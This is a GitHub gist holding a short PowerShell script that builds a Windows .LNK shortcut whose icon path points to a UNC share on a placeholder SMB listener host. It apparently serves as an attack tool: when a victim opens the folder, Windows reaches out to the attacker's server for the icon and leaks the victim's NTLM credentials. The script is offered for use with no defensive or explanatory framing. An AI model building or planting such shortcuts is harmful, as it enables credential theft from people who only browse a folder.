Created
September 29, 2016 23:22
-
-
Save breakersall/a4fcd14b8e4e91864d00418deee6df7a to your computer and use it in GitHub Desktop.
Create .LNK UNC path via PS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$LinkedEXE = "$env:SystemRoot\System32\notepad.exe" | |
$LNKSaveFile = "pathtosavelnk" | |
$WScriptShell = New-Object -ComObject Wscript.Shell | |
$Shortcut = $WScriptShell.CreateShortcut($LNKSaveFile) | |
$Shortcut.TargetPath = $LinkedEXE | |
$Shortcut.IconLocation = "\\IPOFSMBLISTENER\images\images.ico" | |
$Shortcut.save() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment